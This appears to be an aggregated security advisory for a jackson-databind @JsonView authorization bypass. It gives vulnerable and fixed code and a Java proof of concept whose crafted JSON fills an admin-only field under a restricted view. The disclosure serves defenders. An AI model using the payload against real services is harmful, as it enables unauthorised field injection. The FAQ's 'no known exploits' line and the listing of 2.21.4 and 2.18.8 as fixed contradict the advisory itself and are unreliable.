GHSA-mhm7-754m-9p8w: Medium severity maven/com.fasterxml.jackson.core:jackson-databind vulnerability

Published Jul 21, 2026
·
Updated

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNALPROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

java if (creatorProp != null) { // [databind#5971]: must honor active view here too if ((activeView != null) && !creatorProp.visibleInView(activeView)) { p.skipChildren(); continue; } ... }

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4: java import com.fasterxml.jackson.annotation.; import com.fasterxml.jackson.databind.ObjectMapper;

public class JsonViewExternalTypeIdBypass { public static class PublicView {} public static class AdminView extends PublicView {}

public static abstract class Asset { public String name; } public static class PublicAsset extends Asset {} public static class AdminAsset extends Asset { public String secret; }

public static class Container { @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.EXTERNALPROPERTY, property = "kind") @JsonSubTypes({ @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"), @JsonSubTypes.Type(value = AdminAsset.class, name = "admin") }) @JsonView(AdminView.class) public Asset asset;

public String label;

@JsonCreator public Container( @JsonProperty("label") String label, @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) { this.label = label; this.asset = asset; } }

public static class Wrapper { @JsonView(PublicView.class) public Container data; }

public static void main(String[] args) throws Exception { // Admin-only "asset" should be blocked when reading with PublicView String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\"," + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

ObjectMapper om = new ObjectMapper(); Wrapper r = om.readerWithView(PublicView.class) .forType(Wrapper.class) .readValue(json);

System.out.println(r.data); // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}} // Expected (secure): Container{label='hello', asset=null} if (r.data.asset != null && r.data.asset instanceof AdminAsset) { System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView"); } } }

A control case that removes include = As.EXTERNALPROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNALPROPERTY) annotation on the same field.

- CWE-863 (Incorrect Authorization) - Same impact class as CVE-2026-54517 / CVE-2026-54518 - No RCE, no DoS — this is an access-control / mass-assignment bypass

Trigger Conditions

Developer code must combine (no opt-in user configuration required):

1. Property-based @JsonCreator on the outer type 2. A creator parameter annotated with @JsonView(RestrictedView.class) 3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNALPROPERTY, property="...")

Affected Software

2 affected componentsFixes available
maven/com.fasterxml.jackson.core:jackson-databind>=2.21.0<=2.21.4
2.21.5
maven/com.fasterxml.jackson.core:jackson-databind>=2.18.0<=2.18.8
2.18.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-databind to a version that resolves this vulnerability.

    Fixed in 2.21.5
  2. Upgrade

    Upgrade maven/com.fasterxml.jackson.core:jackson-databind to a version that resolves this vulnerability.

    Fixed in 2.18.9
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.1.4Patch 7dc7a17
  4. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.21.4Patch GHSA-5hh8 (CVE-2026-54517)
  5. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.18.8Patch GHSA-rcqc (CVE-2026-54518)
  6. Compensating control

    If using jackson-databind 2.21.4 or 2.18.8, avoid using @JsonView(PublicView.class) as a write-side authorization boundary for polymorphic write deserialization that uses @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, ...) on the same creator parameter path; this code-path lacks creatorProp.visibleInView(activeView) and can be bypassed via the EXTERNAL_PROPERTY external-type-id creator branch.

Event History

Jul 21, 2026
Advisory Published
via GitHub·07:40 PM
Data Sourced
via GitHub·07:40 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of GHSA-mhm7-754m-9p8w?

The severity of GHSA-mhm7-754m-9p8w is medium, rated at 6.5.

2

How do I fix GHSA-mhm7-754m-9p8w?

To fix GHSA-mhm7-754m-9p8w, update your jackson-databind library to the latest version that addresses this vulnerability.

3

What software is affected by GHSA-mhm7-754m-9p8w?

The vulnerability GHSA-mhm7-754m-9p8w affects the jackson-databind component from the com.fasterxml.jackson.core package.

4

What does GHSA-mhm7-754m-9p8w impact?

GHSA-mhm7-754m-9p8w impacts the application of active view filters when deserializing objects using JSON Views.

5

Is there a known exploit for GHSA-mhm7-754m-9p8w?

As of now, there are no known exploits publicly disclosed for GHSA-mhm7-754m-9p8w.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203